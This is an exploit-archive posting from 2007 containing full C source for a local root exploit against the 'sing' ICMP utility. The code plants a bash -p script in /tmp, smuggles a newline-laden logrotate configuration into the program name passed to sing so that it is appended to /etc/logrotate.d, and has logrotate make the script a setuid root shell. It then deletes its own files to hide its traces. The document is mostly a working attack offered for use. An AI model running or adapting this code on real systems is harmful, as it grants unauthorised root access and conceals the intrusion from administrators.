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sendicmp-append.txt

sendicmp-append.txt
Posted Dec 7, 2007
Authored by bannedit | Site blacksecurity.org

Send ICMP nasty garbage append file logrotate exploit that makes use of sing.

tags | exploit
SHA-256 | 66b2e94faa752f7db45c993144f3a91713c980d4d184f0f642fbc06f37962d07

sendicmp-append.txt

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/*
sing file append exploit
by bannedit

12/05/2007

The original reporter of this issue included an example session which
added an account to the machine.

The method for this exploit is slightly different and much more
quiet. Although it relies upon logrotate for help.

This could easily be modified to work with cron daemons which
are not too strict about the cron file format. However,
when I tested vixie cron it appears that there are
better checks for file format compilance these days.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SING_PATH "/usr/bin/sing"

char *file = "/etc/logrotate.d/sing";
char *evilname = "\n/tmp/sing {\n daily\n size=0\n firstaction\n chown root /tmp/shell; chmod 4755 /tmp/shell; rm -f /etc/logrotate.d/sing; rm -f /tmp/sing*\n endscript\n}\n\n\n";



int main()
{
FILE *fp;
int pid;

puts("sing file append exploit");
puts("------------------------");
puts("by bannedit");

if(fp = fopen("/tmp/shell", "w+"))
{
fputs("#!/bin/bash\n", fp);
fputs("/bin/bash -p", fp);
fclose(fp);
system("touch /tmp/sing; echo garbage >> /tmp/sing");
}
else
{
puts("error making shell file");
exit(-1);
}

sleep(5);
printf("done sleeping...\n");
execl(SING_PATH, evilname, "-Q", "-c", "1", "-L", file, "localhost", 0);
return 0;
}

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